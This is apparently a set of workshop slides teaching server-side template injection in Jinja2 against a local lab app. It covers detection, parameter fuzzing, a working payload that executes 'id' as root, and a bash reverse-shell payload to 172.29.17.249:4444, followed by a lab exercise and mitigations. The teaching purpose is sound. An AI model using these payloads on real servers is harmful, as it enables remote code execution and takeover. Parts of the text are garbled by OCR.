
SSTI

Server-side Template Injection

What is a Template Engine?

Template engines are server-side sandboxes that receive dynamic content from the back end and render it as a static page in the front end.



What is SSTI?

Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.

Impact/Dangers

 SSTI can allow an attacker to achieve RCE, taking control of the back-end server and to perform other attacks on internal infrastructure.

 Even in cases where full remote code execution is not possible, an attacker can often still use server-side template injection as the basis for numerous other attacks, potentially gaining read access to sensitive data and arbitrary files on the server

- Detect
 - Fuzzing
 - Inject special characters commonly used in template expressions
 - Eg. \$ { { < % [% ' " } } % \
 - If exception raised → Injected syntax potentially being interpreted by server

- Detect
 - Plaintext Context
 - User input is directly inserted into a template without additional processing
 - Consider this template: render ('Hello ' + username)
 - Requesting a website such with .../?username=\${7*7}
 - Resulting output Hello $49 \rightarrow$ Mathematical operation is evaluated server-side

- Detect
 - Code Context
 - User input may also be placed within a template statement, typically as a variable name.
 - This variant is even easier to miss during an assessment, as it doesn't result in obvious XSS.
 - It can be detected in a robust manner by verifying the parameter doesn't have direct XSS, then breaking out of the template statement and injecting HTML tag after it


personal_greeting=username<tag>
Hello

personal_greeting=username}}<tag>
Hello user01 <tag>

- Identify
 - Use invalid expressions
 - Resulting error message may reveal the template engine
 - Manually test
 - Eg { { 7 * ' 7 ' } } payload returns 7777777
 - Template engine is Jinja2!

Jinja Injection

First of all, in a Jinja injection you need to **find a way to escape from the sandbox** and recover access the regular python execution flow. To do so, you need to **abuse objects** that are **from** the **non-sandboxed environment but are accessible from the sandbox.**




Basic SSTI


Missing something? Maybe there is a hidden parameter in this page...


```
─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fc 403 -fs 75 -u http://127.0.0.1:8000/?
FUZZ=test
      v2.1.0-dev
 :: Method : GET
:: URL : http://127.0.0.1:8000/?FUZZ=test
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
 :: Follow redirects : false
 :: Calibration
                  : false
 :: Timeout : 10
:: Threads : 40
 :: Matcher
                   : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter
                    : Response status: 403
 :: Filter
                    : Response size: 75
                       [Status: 200, Size: 8, Words: 2, Lines: 1, Duration: 38ms]
accountname
             [6453/6453] :: Job [1/1] :: 1010 reg/sec :: Duration: [0:00:06] :: Errors: 0 ::
```



Hi test!







Internal Server Error

Render

Hex

Response

Raw

Pretty

The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.

Hi (<class 'type'>, <class 'async generator'>, <class 'bytearray iterator'>, <class 'bytearray'>, <class 'bytearra <class 'builtin function or method'>, <class 'callable iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'class method descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class 'coroutine'>, <class 'dict items'>, <class 'dict itemiterator'>, <class 'dict keyiterator'>, <class 'dict valueiterator'>, <class 'dict keys'>, <class 'mappingproxy'>, <class 'dict reverseitemiterator'>, <class 'dict reversekeyiterator'>, <class 'dict reversevalueiterator'>, <class 'dict values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset descriptor'>, <class 'instancemethod'>, <class 'list iterator'>, <class 'list reverseiterator'>, <class 'list'>, <class 'longrange iterator'>, <class 'member descriptor'>, <class 'memoryview'>, <class 'method descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'stuple iterator'>, <class 'tuple iterator'>, <class 'tuple'>, <class 'straterior'>, <class 'staticmethod'>, <class 's 'str'>, <class 'wrapper descriptor'>, <class 'types.GenericAlias'>, <class 'anext awaitable'>, <class 'async generator asend'>, <class 'async generator athrow'>, <class 'async generator wrapped value'>, <class 'coroutine wrapper'>, <class 'InterpreterID'>, <class 'managedbuffer'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'types.UnionType'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt array node'>, <class 'hamt bitmap node'>, <class 'hamt collision node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class ' contextvars.Contextvars.Contextvars.Contextvars.Contextvars.Token'>, <class ' contextvars.Token'>, <class ' contextvars.Contex 'Token.MISSING'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class ' frozen importlib. ModuleLock'>, <class frozen importlib. DummyModuleLock'>, <class ' frozen importlib. ModuleLockManager'>, <class ' frozen importlib.ModuleSpec'>, <class 'frozen importlib.BuiltinImporter'>, <class 'frozen importlib.FrozenImporter'>, <class 'frozen importlib. ImportLockContext'>, <class 'thread.lock'>, <class 'thread.RLock'>, <class 'thread. localdummy'>, <class 'thread. local'>, <class 'io. IOBase'>, <class 'io. BytesIOBuffer'>, <class io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class ' frozen importlib external.WindowsRegistryFinder'>, <class ' frozen importlib external. LoaderBasics'>, <class ' frozen importlib external.FileLoader'>, <class frozen importlib external. NamespacePath'>, <class ' frozen importlib external. NamespaceLoader'>, <class ' frozen importlib external. PathFinder'>, <class 'frozen importlib external. FileFinder'>, <class 'codecs. Codec'>, <class 'codecs. Incremental Encoder'>, <class 'codecs. Incremental Decoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'abc. abc data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Terable'>, <class 'collections.abc.Sized'>, <class 'collections.abc. 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os. wrap close'>, <class ' sitebuiltins.Quitter'>, <class ' sitebuiltins. Printer'>, <class 'sitebuiltins. Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types. GeneratorWrapper'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class 'sre.SRE Scanner'>, <class 'sre parse.State'>, <class 'sre parse.SubPattern'>, <class 'sre parse.Tokenizer'>,

<class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations with replacement'>, <class 'itertools.cycle'>, <class



Request	Payload	Status code	Response received	Error	Timeout ^	Length
0		200	11			217
1	0	500	5			459
2	1	500	14			459
3	2	500	13			459
4	3	500	5			459
5	4	500	13			459
6	5	500	10			459
7	6	500	6			459
8	7	500	10			459
9	8	500	13			459
10	9	500	10			459

Internal Server Error

Render

Response

Hex

Raw

Request

Pretty

The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.

```
{{''.__class__.__base__.__subclasses__()[364].__init__.__globals__['sys'].m
  odules['os'].popen("id").read()}}
Request
                                                                  Response
Pretty
       Raw
                                                                  Pretty
              Hex
                                                                          Raw
                                                                                       Render
                                                                                 Hex
1 GET /?accountname=
                                                                  Hi uid=0(root) gid=0(root) groups=0(root)!
 {{%27%27. class . base . subclasses ()[364]. init . global
 s [%27sys%27].modules[%27os%27].popen(%22id%22).read()}} HTTP/1.1
2 Host: 127.0.0.1:8000
3 sec-ch-ua: "Chromium"; v="121", "Not A(Brand"; v="99"
4 cos sh un mobiler 20
```

Obtaining RCE:

```
 \{\{''.\_class\_.\_base\_.\_subclasses\_()[364].\_init\_.\_globals\_['sys'].modules['os'].popen('bash+-c+"bash+-i+>%26+/dev/tcp/172.29.17.249/4444+0>%261"').read()\}\}
```

SSTI with filters

Time to hack!

- Follow the instructions in README . md to set up the environment
- Try to get RCE on this machine:)
- Hint: Play around with the "accountname" GET parameter

```
# How to set up this machine?

0. Ensure that you have docker installed
1. Build the docker image: 'sudo docker build -t filtered .'
2. Run the docker container: 'sudo docker run -p 8000:8000 filtered'
3. Access the vulnerable webpage at http://127.0.0.1:8000
```

Mitigations

- 1. Not allow any users to modify or submit new templates. This could be done by sanitising user input completely. However, this is sometimes unavoidable due to business requirements.
- 2. Use a "logic-less" template engine, such as Mustache.
- 3. Only execute users' code in a sandboxed environment where dangerous modules and functions have been removed. Unfortunately, sandboxing untrusted code is prone to bypasses.
- 4. Accept that arbitrary code execution is inevitable and apply your own sandboxing by deploying your template environment in a locked-down Docker container.

Thank You!